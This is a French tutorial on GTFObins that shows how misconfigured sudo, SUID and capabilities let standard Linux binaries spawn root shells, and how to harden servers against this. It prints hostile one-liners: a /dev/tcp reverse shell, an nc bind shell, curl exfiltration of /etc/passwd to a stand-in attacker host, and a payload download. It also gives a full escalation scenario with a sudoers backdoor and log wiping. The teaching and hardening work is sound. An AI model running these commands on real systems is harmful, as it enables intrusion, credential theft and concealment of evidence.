GTFObins : détecter et bloquer les binaires Linux exploitables

Un serveur Linux standard contient des dizaines de binaires exploitables : find, vim, awk, tar, python… Tous installés par défaut, tous capables d’exécuter des commandes arbitraires, lire des fichiers protégés ou ouvrir un shell root si les permissions sont mal configurées. GTFObins est la base de données de référence qui catalogue plus de 400 de ces binaires et explique comment les détourner — ou les verrouiller.

Ce guide vous apprend à auditer vos serveurs, tester les techniques d’exploitation les plus courantes et durcir vos configurations. Il s’adresse aux administrateurs système et aux débutants en sécurité offensive.

Ce que vous allez apprendre

• Ce qu’est GTFObins et comment l’utiliser
• Les 4 contextes d’exploitation (non privilégié, sudo, SUID, capabilities)
• Les 11 catégories de fonctions exploitables (shell, file read, reverse shell…)
• 5 techniques testées pas à pas sur votre machine
• Un plan de durcissement en 7 points pour sécuriser vos serveurs

Qu’est-ce que GTFObins ?

GTFObins (« Get The F*** Out Binaries ») est un catalogue collaboratif de binaires Unix dont les fonctionnalités légitimes peuvent être détournées pour contourner des restrictions de sécurité.

L’analogie est simple : imaginez une boîte à outils dans un atelier. Chaque outil a un usage prévu — tournevis, marteau, scie. Mais entre de mauvaises mains, ces mêmes outils deviennent des armes. GTFObins est le catalogue de ces détournements pour les binaires Linux.

Le projet a été créé en 2018 par Emilio Pinna et Andrea Cardaci, deux chercheurs en sécurité. Il est hébergé sur gtfobins.org (anciennement gtfobins.github.io) et compte plus de 12 700 étoiles sur GitHub. La communauté contribue activement en ajoutant de nouveaux binaires et techniques.

Aspect	Détail
Objectif	Cataloguer les usages détournés des binaires Unix
Nombre de binaires	400+ documentés
Équivalent Windows	LOLBAS
Équivalent CI/CD	LOTP
Licence	Open source (GitHub)
API	JSON disponible sur gtfobins.org/api.json

Glissez pour voir

GTFObins n'est pas une liste de vulnérabilités

Les binaires listés ne sont pas vulnérables en eux-mêmes. GTFObins documente des fonctionnalités légitimes qui deviennent dangereuses uniquement quand les permissions sont mal configurées (SUID, sudo sans restriction, capabilities excessives).

Voir aussi : LOTP — l'équivalent pour les pipelines CI/CD

GTFObins recense les binaires détournables sur un serveur Linux. Son équivalent pour les pipelines CI/CD s’appelle Living Off The Pipeline (LOTP) : 59 outils de développement (npm, pip, cargo, make, eslint, terraform…) dont les fichiers de configuration peuvent exécuter du code arbitraire lors d’un simple install ou build dans un pipeline.

Prérequis

• Un système Linux (Ubuntu, Debian, Rocky, ou autre)
• Accès à un terminal en tant qu’utilisateur standard
• Connaissances de base en ligne de commande (cd, ls, cat, chmod)
• Idéalement : une machine virtuelle ou un conteneur pour les tests

Environnement de test uniquement

Ne testez jamais ces techniques sur un serveur de production ou une machine qui ne vous appartient pas. Utilisez toujours une VM ou un conteneur dédié.

Les 4 contextes d’exploitation

GTFObins classe les exploits selon 4 contextes qui déterminent quel niveau de privilège l’attaquant peut atteindre.

Contexte 1 : non privilégié (Unprivileged)

L’attaquant exécute le binaire sans aucune élévation de privilège. Il agit avec ses propres droits.

C’est le cas le plus courant : un utilisateur standard qui lance awk, python3 ou find avec ses propres permissions. Le risque existe si le binaire permet d’exécuter des commandes système — par exemple, un shell restreint peut être contourné via awk 'BEGIN {system("/bin/sh")}'.

Contexte 2 : Sudo

L’utilisateur peut exécuter certains binaires avec sudo grâce à une règle dans /etc/sudoers. Si le binaire autorisé est dans GTFObins, il peut servir de tremplin vers un shell root.

Un exemple classique : si /etc/sudoers contient user ALL=(ALL) NOPASSWD: /usr/bin/vim, alors sudo vim -c ':!/bin/sh' donne un shell root.

Contexte 3 : SUID

Le bit SUID (Set User ID) permet à un binaire de s’exécuter avec les privilèges de son propriétaire (souvent root), quel que soit l’utilisateur qui le lance.

Quand un binaire SUID figure dans GTFObins, n’importe quel utilisateur local peut potentiellement obtenir un shell root. C’est l’un des vecteurs d’escalade de privilèges les plus recherchés en pentest.

Contexte 4 : Capabilities

Les Linux Capabilities sont un mécanisme plus fin que SUID. Au lieu de donner tous les droits root, on accorde des permissions spécifiques (accès réseau raw, changement d’utilisateur, etc.).

Mais certaines capabilities, comme cap_setuid, permettent à un binaire de changer d’identité — ce qui revient à une escalade de privilèges si le binaire est dans GTFObins.

Contexte	Commande d’audit	Ce qu’on cherche
Sudo	sudo -l	Binaires autorisés sans mot de passe
SUID	find / -perm -4000 -type f 2>/dev/null	Binaires avec le bit SUID
Capabilities	getcap -r / 2>/dev/null	Binaires avec capabilities

Glissez pour voir

Vue d’ensemble : du repérage au durcissement

Ce diagramme synthétise les 4 phases de travail avec GTFObins — de la reconnaissance des binaires à risque jusqu’aux actions de durcissement.

Les 11 catégories de fonctions exploitables

Chaque binaire dans GTFObins est classé selon les fonctions qu’il peut détourner. Voici les 11 catégories, de la plus courante à la plus spécialisée.

Catégorie	Description	Exemple
Shell	Ouvrir un shell interactif	awk 'BEGIN {system("/bin/sh")}'
Command	Exécuter une commande unique	find /dev/null -exec id \;
File Read	Lire un fichier protégé	dd if=/etc/shadow 2>/dev/null
File Write	Écrire dans un fichier protégé	echo "data" | tee /etc/cron.d/backdoor
Reverse Shell	Connexion sortante vers l’attaquant	bash -i >& /dev/tcp/10.0.0.1/4444 0>&1
Bind Shell	Ouvrir un port en écoute	nc -l -p 4444 -e /bin/sh
Upload	Envoyer un fichier depuis la cible	curl -F 'f=@/etc/passwd' http://attacker/
Download	Télécharger un fichier sur la cible	wget http://attacker/payload -O /tmp/p
Library Load	Charger une bibliothèque .so	LD_PRELOAD=/tmp/malicious.so cmd
Privilege Escalation	Escalade directe (chmod, chown)	chmod u+s /bin/bash
Inherit	Hériter des privilèges d’un pager	PAGER='sh -c "exec sh"' man ls

Glissez pour voir

Fonctions vs Contextes

Les fonctions décrivent ce que le binaire peut faire (lire un fichier, ouvrir un shell). Les contextes décrivent avec quels privilèges il le fait (sudo, SUID, capabilities). Un même binaire peut combiner plusieurs fonctions dans plusieurs contextes. Par exemple, vim supporte Shell, File Read, File Write, Reverse Shell en contextes Sudo et SUID.

Lab : tester 5 techniques GTFObins

Passons à la pratique. Ces 5 techniques sont testables sur n’importe quelle machine Linux sans avoir besoin de droits root (sauf mention contraire). Chaque technique démontre un type d’exploitation différent.

awk — Shell

Technique 1 : exécuter une commande via awk

Pourquoi c’est possible : awk dispose de la fonction system() qui exécute n’importe quelle commande système. Si awk est autorisé en sudo ou possède le bit SUID, cette fonction hérite des privilèges élevés.

1. Exécuter une commande système via awk :

   awk 'BEGIN {system("id")}'

   Résultat attendu : la commande id affiche votre uid, gid et groupes.

2. Lire un fichier via awk :

   echo "donnee_sensible" > /tmp/gtfo-test.txt
   awk '{print}' /tmp/gtfo-test.txt

   Résultat attendu : le contenu du fichier s’affiche.

3. Vérification — nettoyez le fichier de test :

   rm -f /tmp/gtfo-test.txt

Impact si SUID/sudo : un attaquant obtient un shell root avec awk 'BEGIN {system("/bin/sh")}'.

find — Command

Technique 2 : exécuter une commande via find

Pourquoi c’est possible : l’option -exec de find exécute une commande pour chaque fichier trouvé. Combinée avec -quit, elle exécute une seule commande : celle de l’attaquant.

1. Exécuter id via find :

   find /dev/null -exec id \;

   Résultat attendu : votre uid/gid s’affiche.

2. Vérifier les binaires SUID sur le système :

   find / -perm -4000 -type f 2>/dev/null

   Résultat attendu : liste des binaires avec le bit SUID (mount, passwd, sudo, etc.).

3. Vérification — si find apparaît dans la liste SUID, c’est un risque critique. Un attaquant pourrait lancer :

   find . -exec /bin/sh -p \; -quit

   L’option -p de /bin/sh conserve les privilèges SUID au lieu de les abandonner.

tar — Checkpoint

Technique 3 : exécuter du code via tar

Pourquoi c’est possible : GNU tar supporte les options --checkpoint et --checkpoint-action=exec=COMMANDE qui exécutent une commande à chaque N enregistrements traités. Cette fonctionnalité, prévue pour afficher la progression, permet d’exécuter du code arbitraire.

1. Créer un fichier de test :

   echo "test" > /tmp/gtfo-tar.txt

2. Exécuter une commande lors de l’archivage :

   tar cf /dev/null /tmp/gtfo-tar.txt \
     --checkpoint=1 \
     --checkpoint-action=exec=id

   Résultat attendu : la commande id s’affiche entre les lignes de sortie de tar.

3. Nettoyage :

   rm -f /tmp/gtfo-tar.txt

Impact si SUID/sudo : tar avec sudo permet d’exécuter n’importe quelle commande en root. C’est particulièrement vicieux car tar est souvent autorisé dans les sauvegardes planifiées.

python — Spawn

Technique 4 : obtenir un shell via python

Pourquoi c’est possible : Python dispose de multiples modules pour exécuter des commandes (os.system, subprocess, pty.spawn). Le module pty est particulièrement dangereux car il crée un vrai shell interactif avec les privilèges du processus Python.

1. Exécuter une commande système :

   python3 -c 'import os; os.system("id")'

   Résultat attendu : votre uid/gid s’affiche.

2. Vérifier que pty.spawn est disponible :

   python3 -c 'import pty; print("pty.spawn disponible")'

   Résultat attendu : pty.spawn disponible. Le module pty est inclus dans la bibliothèque standard de Python — il est toujours présent.

3. En contexte SUID/sudo, un attaquant lancerait :

   python3 -c 'import pty; pty.spawn("/bin/sh")'

   Cette commande ouvre un shell interactif complet, pas juste une exécution de commande.

sed — GNU ext.

Technique 5 : exécuter une commande via sed

Pourquoi c’est possible : GNU sed (la version installée par défaut sur la plupart des distributions Linux) supporte la commande e qui exécute le contenu du pattern space comme une commande shell.

1. Exécuter id via sed :

   echo 'id' | sed 'e'

   Résultat attendu : votre uid/gid s’affiche.

2. Lire un fichier de manière détournée :

   echo "secret_42" > /tmp/gtfo-sed.txt
   echo 'cat /tmp/gtfo-sed.txt' | sed 'e'

   Résultat attendu : secret_42 s’affiche.

3. Nettoyage :

   rm -f /tmp/gtfo-sed.txt

Impact si SUID/sudo : sed est rarement suspecté car il est perçu comme un simple éditeur de flux. Un admin qui autorise sudo sed pense autoriser de l’édition de texte — il autorise en réalité de l’exécution de code.

Autres binaires à surveiller

Ces 5 exemples ne sont qu’un échantillon. D’autres binaires très courants sont exploitables : vim (sudo vim -c ':!/bin/sh'), less (taper !sh dedans), man (via son pager), perl (perl -e 'system("id")'), ruby (ruby -e 'system("id")'), node (node -e 'require("child_process").execSync("id",{stdio:"inherit"})').

Scénario d’attaque complet

Pour comprendre comment un attaquant combine ces techniques, voici un scénario réaliste en 5 étapes. Il illustre la méthodologie classique d’escalade de privilèges sur un serveur Linux.

1. Reconnaissance — identifier les vecteurs d’escalade :

   L’attaquant, connecté en tant qu’utilisateur standard, lance trois commandes d’audit :

   # Binaires SUID
   find / -perm -4000 -type f 2>/dev/null
   
   # Permissions sudo
   sudo -l
   
   # Capabilities
   getcap -r / 2>/dev/null

   Résultat : find est SUID root et vim est autorisé en sudo sans mot de passe.

2. Exploitation — obtenir un shell root :

   L’attaquant consulte GTFObins pour find et vim, puis choisit la méthode la plus directe :

   # Via le SUID sur find
   find . -exec /bin/sh -p \; -quit

   Résultat : un shell root s’ouvre.

3. Exfiltration — lire les fichiers sensibles :

   Avec les droits root, l’attaquant accède aux informations critiques :

   cat /etc/shadow

   Ce fichier contient les mots de passe hachés de tous les utilisateurs du système. Il peut être craqué hors ligne avec des outils comme hashcat ou john.

4. Persistance — maintenir l’accès :

   L’attaquant crée un accès permanent en ajoutant une règle sudoers :

   echo "attacker ALL=(ALL) NOPASSWD: ALL" | tee /etc/sudoers.d/backdoor

   Même si le SUID sur find est ensuite corrigé, l’attaquant conserve un accès root via sa propre règle sudo.

5. Couverture — effacer les traces :

   rm -f /var/log/auth.log
   history -c

   L’attaquant supprime les journaux d’authentification et l’historique des commandes pour retarder la détection.

Ce scénario est pédagogique

Ce scénario illustre ce qu’un attaquant pourrait faire. Ne reproduisez ces actions que sur des machines de test qui vous appartiennent. Sur un système réel, la suppression de logs est un délit.

Durcissement : 7 actions concrètes

Maintenant que vous comprenez les techniques, voici comment verrouiller vos serveurs contre ces exploits.

1. Auditer les binaires SUID — identifiez et retirez les SUID inutiles :

   # Lister tous les SUID
   find / -perm -4000 -type f 2>/dev/null
   
   # Retirer le SUID d'un binaire non nécessaire
   chmod u-s /usr/bin/find

   Vérification : relancez la commande find / -perm -4000 — le binaire ne doit plus apparaître.

2. Verrouiller sudo — restreignez les commandes autorisées et bannissez les binaires interactifs :

   /usr/bin/vim

   # Dans /etc/sudoers (via visudo)
   # DANGEREUX : autorise vim sans restriction
   #
   # SÉCURISÉ : autorise uniquement systemctl restart
   user ALL=(ALL) NOPASSWD: /usr/bin/systemctl restart nginx

   Règle : ne jamais autoriser en sudo des binaires à shell escape (vim, less, man, awk, python, perl, ruby, node).

3. Vérifier les capabilities — retirez les capabilities excessives :

   # Lister
   getcap -r / 2>/dev/null
   
   # Retirer une capability
   setcap -r /usr/bin/python3

4. Bloquer les connexions sortantes — empêchez les reverse shells :

   # Avec ufw : bloquer tout en sortie sauf HTTP/HTTPS/DNS
   ufw default deny outgoing
   ufw allow out 80/tcp
   ufw allow out 443/tcp
   ufw allow out 53/udp

5. Supprimer les binaires inutiles — désinstallez les interpréteurs et outils réseau non nécessaires :

   # Si Python, PHP ou Ruby ne sont pas nécessaires sur un serveur
   apt remove --purge python3 php ruby
   # Si netcat n'est pas nécessaire
   apt remove --purge netcat-openbsd

6. Centraliser les logs — empêchez un attaquant d’effacer ses traces en envoyant les journaux vers un serveur distant (rsyslog, Loki, etc.) :

   /etc/rsyslog.d/remote.conf

   *.* @@logserver.internal:514

7. Automatiser les audits — utilisez un outil comme Lynis pour détecter automatiquement les mauvaises configurations :

   lynis audit system

   Lynis vérifie les SUID, les permissions sudo, les capabilities et des centaines d’autres points de sécurité.

Dépannage

Symptôme	Cause probable	Solution
find / -perm -4000 ne retourne rien	Droits insuffisants ou filesystem monté avec nosuid	Lancer avec sudo ou vérifier les options de montage
sudo -l demande un mot de passe	L’utilisateur n’est pas dans le fichier sudoers	Se connecter en tant que l’utilisateur cible ou vérifier /etc/sudoers
getcap indique command not found	La commande n’est pas installée	Installer : apt install libcap2-bin
Le shell SUID ignore les privilèges	Le shell utilise -p mais bash drop les privs par défaut	Utiliser /bin/sh -p au lieu de /bin/bash — dash conserve les SUID
tar --checkpoint-action ne s’exécute pas	Version BSD de tar (macOS)	Installer GNU tar : apt install tar (par défaut sur Linux)
Le reverse shell ne se connecte pas	Connexions sortantes bloquées par firewall	Vérifier les règles iptables/ufw — le durcissement fonctionne

Glissez pour voir

À retenir

• GTFObins catalogue 400+ binaires Unix dont les fonctions légitimes permettent de contourner des restrictions de sécurité. Ce ne sont pas des vulnérabilités, mais des fonctionnalités détournées.

• 4 contextes d’exploitation : non privilégié, sudo, SUID et capabilities. L’audit de ces trois derniers est la première étape de tout durcissement.

• Les binaires les plus dangereux en sudo/SUID sont ceux qui ont un « shell escape » : vim, less, man, awk, python, perl, find, tar.

• La remédiation passe par 3 axes : retirer les SUID inutiles, restreindre sudo aux commandes spécifiques (pas aux binaires interactifs), et bloquer les connexions sortantes.

• Automatisez les audits avec Lynis pour détecter les configurations à risque avant qu’un attaquant ne le fasse.

• GTFObins a un équivalent pour les pipelines CI/CD : LOTP catalogue 59 outils de développement dont les fichiers de config exécutent du code.

Prochaines étapes

LOLBAS — binaires Windows exploitables L'équivalent de GTFObins pour Windows : certutil, mshta, rundll32 et des centaines de binaires signés Microsoft détournables.

Living Off The Pipeline (LOTP) Les 59 outils CI/CD exploitables — l'équivalent de GTFObins pour les pipelines.

Attaques via les gestionnaires de paquets npm, pip, cargo, yarn, bundler : 5 techniques d'exécution de code via les fichiers de config.

Lynis — audit de sécurité Linux Automatiser les audits et détecter les SUID, sudo et capabilities mal configurés.

Sudo — guide complet Comprendre et configurer sudo pour éviter les escalades de privilèges.

×

📖 Voir la documentation →